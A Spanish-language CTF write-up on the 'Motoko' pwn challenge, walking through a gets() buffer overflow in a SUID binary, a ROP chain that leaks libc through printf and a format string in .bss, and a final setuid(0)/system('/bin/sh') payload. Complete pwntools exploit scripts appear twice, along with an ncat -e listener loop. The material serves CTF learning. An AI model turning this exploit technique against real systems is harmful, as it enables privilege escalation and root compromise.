f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

Q4{Motoko}

Hola! Este sábado 31 de agosto, asistimos como team cntr0llz al CTF de Q4, en el cual nos fue bastante bien y nos divertimos caleta, buenos desafíos, buenos snacks y mucha buena onda :).

Ahora mismo, les traigo el writeup de un desafío que nos quebró la cabeza un buen rato con @FJV, de 300 pts y era peluo.

Recon

El desafío se llama Motoko, un PWN el cual, se nos daba credenciales SSH a una máquina ubuntu, y nos encontramos de lleno con un SUID binary llamado motoko (ya sabemos por donde va…)

first gif

Trayendo el binario a una máquina nuestra, comenzamos a analizarlo.

motoko00

Vemos que es un binario ELF, 64 bits, NO PIE + ASLR on.

motoko01

Al correrlo, nos pregunta un par de cosas y nos devuelve una respuesta, en conjunto con lo que le dimos.

motoko02

Si abrimos el binario con algún dissassembler, podemos ver un poco el comportamiento que tiene:

motoko03

Si vemos el main, no tiene nada especial, sólo una llamada a una función getinput que quizas nos sirva.

Si seguimos el flujo hasta getinput, podemos encontrar el core del programa.

motoko04

De aquí, podemos ver la primera salida por pantalla:
Just a whisper. I hear it in my ghost.... (INPUT) Y luego, dependiendo del INPUT, el programa nos dirigirá a un print de la dirección de un puntero (FALSE), o al respectivo return de la función (siendo este nuestro objetivo).

Discutimos un buen rato si de verdad era necesario tomarle importancia a ese flujo del programa, ya que en primera instancia, nos servía mucho ese output del ptr address para saber como está mapeado el stack en la ejecución, pero el exit(1) que seguía nos arruinaba la fiesta.

Otro problema que tuvimos, era que en un comienzo, el binario, estaba con la protección PIE activada, lo que dificultaba mucho debuggear y explotar el programa. Le preguntamos a @dplastico si de verdad era parte de la dificultad del binario el PIE y nos comentó que no debería tener activada esa protección, LOL. Se disculpó con todos y compiló otra vez el binario para su explotación. (gracias <3).

Comenzando, podemos ver que el BoF ocurre justo en la función gets 0x0040063b, dejándonos desbordar el buffer a nuestro antojo, siendo nuestra única preocupación, llegar al RET luego de desbordar el buffer.

Abrimos el binario en GDB, para poder debugear.
Como ya sabemos el comportamiento del binario, creamos un breakpoint en la función donde ocurre el BoF y creamos un patrón :D !

motoko05

Seguimos hasta el RET point de la función en cuestión para ver exáctamente donde pisa el RIP, el offset debería estar al rededor de los 80 bytes como figura en el ASM.

motoko06

Tenemos exactamente 88 bytes antes de pisar RIP. Con el control del flujo del programa, a darle. elmo

Comenzamos con el cascarón de nuestro exploit:

Primero, necesitaremos un par de gadgets convenientes, estilo pop rdi;ret motoko07

Debemos de alguna forma obtener la dirección base de libc, ya que está ASLR activado (SPOILER: por ahora 😄 ).

Para esto, no nos sale inmediatamente fácil utilizar puts, ya que no ha sido utilizado en el programa, pero sí printf :D ! Direcciones importantes:

  • printf@plt : 0x4004f0
  • printf@got : 0x601020
  • fflush@plt : 0x400510
  • fflush@got : 0x601030
  • gets@plt : 0x400500
  • gets@got : 0x601028
  • pop rdi; ret : 0x00400723
  • pop rsi; pop r15; ret : 0x00400721 (en caso de que necesitemos más de un argumento).

La idea a seguir sería la siguiente:

  • Debemos hacer el leak de alguna función en la GOT ya utilizada para obtener el offset en el cual se encuentra libc. El problema es que sólo tenemos printf para sacar algo por pantalla, no un usual puts, por lo que debemos introducir un format string en algún lado… motoko08
    Podemos escribir en la .bss !! dog

yess! Siguiendo la idea, el primer objetivo es:

  • Escribir el format string en la .BSS
  • Utilizar ese format string para sacar por pantalla una referencia a la GOT.
  • Conseguir el offset de libc !

Si armamos un poco el exploit, quedaría de la siguiente forma:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
import warnings
import time

#context(terminal=['tmux','new-window'])
context(terminal=['tmux','split-window'])
context(os="linux", arch="amd64")
context.log_level = 'debug'

#p = remote('localhost', 8080)
p = gdb.debug('./assets/motoko', 'b * getinput')

# prepare

junk        = 'A'*88
get_input    = p64(0x400607)

gets_plt    = p64(0x400500)
gets_got    = p64(0x601028)
printf_plt  = p64(0x4004f0)
printf_got  = p64(0x601020)
fflush_plt  = p64(0x400510)
fflush_got  = p64(0x601030)
pop_rdi     = p64(0x00400723)
pop_rsi_r15 = p64(0x00400721)

random_bss  = p64(0x00601180)

payload =  junk         # junk
payload += pop_rdi      # primer gadget
payload += random_bss   # primer argumento
payload += gets_plt     # escribir en el 1 arg
payload += get_input    # Volver a getinput

# Write to BSS
p.sendline(payload)
p.recvrepeat(1)
p.sendline('PTR Value --%s--')

# Print with printf
payload = junk          # junk
payload += pop_rdi      # gadget
payload += random_bss   # donde guardaremos nuestro format strig
payload += pop_rsi_r15  # segundo argumento
payload += printf_got   # Pointer to the got -> 2 arg
payload += p64(0x00)    # Dummy entry for r15
payload += printf_plt   # execute printf
payload += pop_rdi      # gadget
payload += p64(0x00)    # dummy first arg
payload += fflush_plt   # execute fflush
payload += get_input    # Volver a getinput

p.sendline(payload)


leak = p.recvuntil('PTR')
leak = p.recv().strip().split('--')[1].ljust(8,"\x00")

print 'the leak is:'
print leak

Traté de dejar el código comentado para que se explique un poco, dentro de lo que se pueda. En pocas palabras lo que se hizo fue:

  • Redirigir por primera vez el programa a un flujo que nos permita
    • Escribir arbitrariamente en la .BSS un format string.
    • Volver a la función getinput.
  • Luego, con el FS guardado en la .BSS, podremos utilizarlo como argumento para redirigir el flujo a la función que tenemos a mano printf, lo que nos permitirá hacer el leak de la GOT. Ahora ya con el leak de la GOT, solo nos queda calcular la base de libc y terminar de pwnear el binario ! sponge

FunFact: Luego de haber craneado esto, @dplastico comentó que había compilado otra vez el binario (al comienzo era un binario PIE ), esta vez, desactivándole el ASLR a la máquina en compensación del tiempo perdido por el enabled PIE… DAMN ! dammit

En fin, habíamos logrado sacar la misma dirección de memoria que ahora daba $ldd :cry:.

Ahora con este leak, queda completar la llamada a system.
Tratamos de hacerlo con el string /bin/sh de libc, el cual no nos funcionó :joy:, por lo que optamos por lo más sano, al igual que antes, escribir en la .BSS y utilizarlo a nuestra conveniencia.

Primero, obtengamos los valores de las funciones que necesitaremos de libc

motoko09 motoko10

  • printf@GLIBC : 0x0000000000055750 (para calcular el offset)
  • system@GLIBC : 0x0000000000047850
  • setuid@GLIBC : 0x00000000000ca140

Con estas direcciones, nos animamos a armar las últimas ROP Chains para ojalá, completar el challenge:


base_printf_libc = 0x0000000000055750       # printf_base
offset = u64(leak) - base_printf_libc       # Offset
log.success("The offset is: " + str(offset))

system_glibc = 0x0000000000047850 + offset  # system 2go
setuid_glibc = 0x00000000000ca140 + offset  # setuid 2go

p.recvrepeat(1)

payload = junk          # junk
payload += pop_rdi      # gadget
payload += random_bss   # bss to write
payload += gets_plt     # jump to gets
payload += get_input    # Volver a getinput
p.sendline(payload)     # Mandar payload
p.sendline("/bin/sh")   # Mandar para cuando GETS tome el input

log.success("String /bin/sh sended ...")

payload = junk                  # junk
payload += pop_rdi              # gadget
payload += p64(0x00)            # argumento setuid = 0
payload += p64(setuid_glibc)    # call setuid
payload += pop_rdi              # return 2 gadget
payload += random_bss           # puntero a donde donde escribimos el /bin/sh
payload += p64(system_glibc)    # LLAMAMOS A SYSTEM CARAJOOOOO

log.success("Ultimo payload enviado, a rezar ...")

p.sendline(payload)

p.interactive()

Con esto, ya funcionaba localmente, pero quedamos un rato estancados en como hacerlo funcionar en la máquina remota, ya que al usar la conexión SSH que trae pwntools, se moría la conexión al instante, ya que la máquina remota no tenía python2… DAMN !
Pensando un buen rato, llegamos a una solución garka, pero buena, “emular” un servicio del binario con alguna herramienta, el problema es que la máquina no tenía nada que nos permitiese hacer eso, estilo socat. Pero lo que sí pudimos hacer fue subirle un binario estático de ncat y hacerlo correr en algún puerto alto para debugear remotamente.

while true; do ./ncat -lvp 8080 -e /home/mokoto/mokoto; sleep 1; done

Ahora fue cosa de cambiar los valores correspondientes de las funciones de LIBC de la máquina remota y lanzarlo:

(aquí emulé lo mismo que hicimos solo que en mi máquina ): )

motoko12

Finalmente, el exploit quedó de la siguiente manera:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
import warnings
import time

#context(terminal=['tmux','new-window'])
context(terminal=['tmux','split-window'])
context(os="linux", arch="amd64")
context.log_level = 'debug'

#p = remote('localhost', 8080)
p = gdb.debug('./assets/motoko', 'b * getinput')

# prepare

junk        = 'A'*88
get_input    = p64(0x400607)

gets_plt    = p64(0x400500)
gets_got    = p64(0x601028)
printf_plt  = p64(0x4004f0)
printf_got  = p64(0x601020)
fflush_plt  = p64(0x400510)
fflush_got  = p64(0x601030)
pop_rdi     = p64(0x00400723)
pop_rsi_r15 = p64(0x00400721)

random_bss  = p64(0x00601180)

payload =  junk         # junk
payload += pop_rdi      # primer gadget
payload += random_bss   # primer argumento
payload += gets_plt     # escribir en el 1 arg
payload += get_input    # Volver a getinput

# Write to BSS
p.sendline(payload)
p.recvrepeat(1)
p.sendline('PTR Value --%s--')

# Print with printf
payload = junk          # junk
payload += pop_rdi      # gadget
payload += random_bss   # donde guardaremos nuestro format strig
payload += pop_rsi_r15  # segundo argumento
payload += printf_got   # Pointer to the got -> 2 arg
payload += p64(0x00)    # Dummy entry for r15
payload += printf_plt   # execute printf
payload += pop_rdi      # gadget
payload += p64(0x00)    # dummy first arg
payload += fflush_plt   # execute fflush
payload += get_input    # Volver a getinput

p.sendline(payload)


leak = p.recvuntil('PTR')
leak = p.recv().strip().split('--')[1].ljust(8,"\x00")

print 'the leak is:'
print leak

base_printf_libc = 0x0000000000055750       # printf_base
offset = u64(leak) - base_printf_libc       # Offset
log.success("The offset is: " + str(offset))

system_glibc = 0x0000000000047850 + offset  # system 2go
setuid_glibc = 0x00000000000ca140 + offset  # setuid 2go

p.recvrepeat(1)

payload = junk          # junk
payload += pop_rdi      # gadget
payload += random_bss   # bss to write
payload += gets_plt     # jump to gets
payload += get_input    # Volver a getinput
p.sendline(payload)     # Mandar payload
p.sendline("/bin/sh")   # Mandar para cuando GETS tome el input

log.success("String /bin/sh sended ...")

payload = junk                  # junk
payload += pop_rdi              # gadget
payload += p64(0x00)            # argumento setuid = 0
payload += p64(setuid_glibc)    # call setuid
payload += pop_rdi              # return 2 gadget
payload += random_bss           # puntero a donde donde escribimos el /bin/sh
payload += p64(system_glibc)    # LLAMAMOS A SYSTEM CARAJOOOOO

log.success("Ultimo payload enviado, a rezar ...")

p.sendline(payload)

p.interactive()

Gracias por leer el write up, espero que se haya entendido algo, cualquier duda, sólo pregunten :3

Se despide
f4d3